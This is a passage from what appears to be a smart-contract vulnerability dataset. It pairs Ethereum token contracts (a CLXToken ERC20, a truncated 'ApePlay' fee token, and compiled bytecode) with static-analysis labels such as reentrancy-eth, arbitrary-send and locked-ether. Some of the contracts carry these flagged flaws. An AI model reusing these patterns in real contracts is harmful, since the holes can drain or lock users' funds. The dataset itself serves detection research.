fffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f9d15bafae39324dbe373b20cc2b177f27c975cb967364baeb772c985a0779f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,635
0x41e0a71090ea7faa0b7be3f186ee8fc27d1f516b
pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title CLX Token * @dev Token representing CLX. */ contract CLXToken is StandardToken, Ownable{ string public name ; string public symbol ; uint8 public decimals = 8 ; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function ()public payable { revert(); } /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract * @param initialSupply The initial supply of tokens which will be fixed through out * @param tokenName The name of the token * @param tokenSymbol The symbol of the token */ function CLXToken( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount name = tokenName; symbol = tokenSymbol; balances[msg.sender] = totalSupply; //Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator emit Transfer(address(0), msg.sender, totalSupply); } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063289de61514610264578063313ce5671461036757806370a08231146103985780638da5cb5b146103ef57806395d89b4114610446578063a9059cbb146104d6578063dd62ed3e1461053b578063f2fde38b146105b2575b600080fd5b3480156100cb57600080fd5b506100d46105f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610693565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610785565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078b565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610bf4565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156102c35780820151818401526020810190506102a8565b50505050905090810190601f1680156102f05780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561032957808201518184015260208101905061030e565b50505050905090810190601f1680156103565780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037357600080fd5b5061037c610d43565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103a457600080fd5b506103d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d56565b6040518082815260200191505060405180910390f35b3480156103fb57600080fd5b50610404610d9f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045257600080fd5b5061045b610dc5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049b578082015181840152602081019050610480565b50505050905090810190601f1680156104c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e257600080fd5b50610521600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e63565b604051808215151515815260200191505060405180910390f35b34801561054757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112e565b6040518082815260200191505060405180910390f35b3480156105be57600080fd5b506105f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b5565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561068b5780601f106106605761010080835404028352916020019161068b565b820191906000526020600020905b81548152906001019060200180831161066e57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c857600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561081657600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156108a157600080fd5b6000821180156109405750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461093e83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b115b151561094b57600080fd5b61099d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b606080600060046005600054828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c955780601f10610c6a57610100808354040283529160200191610c95565b820191906000526020600020905b815481529060010190602001808311610c7857829003601f168201915b50505050509250818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d315780601f10610d0657610100808354040283529160200191610d31565b820191906000526020600020905b815481529060010190602001808311610d1457829003601f168201915b50505050509150925092509250909192565b600660009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ea057600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610eef5750600082115b8015610f8a5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b115b1515610f9557600080fd5b610fe782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561124d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015151561132157fe5b8091505092915050565b600082821115151561133957fe5b818303905092915050565b60008060008414156113595760009150611378565b828402905082848281151561136a57fe5b0414151561137457fe5b8091505b50929150505600a165627a7a72305820b9e4b537b49ab584f88434e5959c982db4d35d1d12a26ab48bfa6439e950c0680029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,636
0xcf32bb49f8f0279feadd153c3fe1b3d4cb6510b2
// SPDX-License-Identifier: Unlicensed // //telegram https://t.me/apeplay // ."`". // .-./ _=_ \.-. // { (,(oYo),) }} // {{ | " |} } // { { \(---)/ }} // {{ }'-=-'{ } } // { { }._:_.{ }} // {{ } -:- { } } // {_{ }`===`{ _} // ((((\) (/)))) pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ApePlay is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private maxWallet = _tTotal/100; uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; uint256 private sniperCount = 0; string private constant _name = "Ape"; string private constant _symbol = "Ape"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[address(this)] = 